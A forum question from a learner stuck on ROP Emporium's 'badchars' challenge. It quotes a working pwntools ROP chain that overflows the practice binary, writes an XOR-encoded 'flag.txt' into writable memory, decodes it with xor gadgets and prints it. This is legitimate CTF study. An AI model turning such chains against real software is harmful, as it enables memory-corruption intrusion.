title: Can't understand XOR behaviour
body: <p>I've been trying to solve the badchars CTF from ROP Emporium and since I've struggled a bit on this one I decided to search for writeups but I am unable to understand how a piece of code acts. Here is a script that works:</p>
  <pre><code>from pwn import *
  
  elf = ELF(&quot;./badchars&quot;)
  p = elf.process()
  
  offset = 40
  pop_r12131415 = 0x000000000040069c
  mov_r12to13 = 0x0000000000400634
  func = 0x400510
  pop_rdi = 0x00000000004006a3
  writehere = 0x00601038 
  flag = 0x767a762c65636e64
  xor_r14_r15 = 0x0000000000400628
  pop_r14_r15 = 0x00000000004006a0
  
  
  rop = b&quot;A&quot;*offset + p64(pop_r12131415) + p64(flag) + p64(writehere) + p64(2) + p64(2) + p64(mov_r12to13) 
  
  for i in range(8):
      rop += p64(pop_r14_r15)
      rop += p64(2) + p64(writehere + i)
      rop += p64(xor_r14_r15)
  
  
  rop += p64(pop_rdi)
  rop += p64(writehere) 
  rop += p64(func)
  
  
  p.recv()
  p.sendline(rop)
  p.interactive()
  </code></pre>
  <p>I've been able to understand everything until the for loop. I thought the for loop was decrypting the XORed input I've put into &quot;writehere&quot;. Although it seems like it does that, I can't understand how in the end we insert &quot;writehere&quot; into rdi as the argument because I do not see anything in the for loop that would change what is in &quot;writehere&quot;. Am I missing something within the for loop?</p>
  <p>Note: func basically prints the argument inside, writehere is a readable and writable address, flag is &quot;flag.txt&quot; that has been XORed with key 2 and reversed.  <code>xor_r14_r15</code> is <code>xor byte ptr [r15], r14b</code> ; <code>ret</code>.  <code>pop_r14_r15</code> is <code>pop r14</code> ; <code>pop r15</code> ; <code>ret</code></p>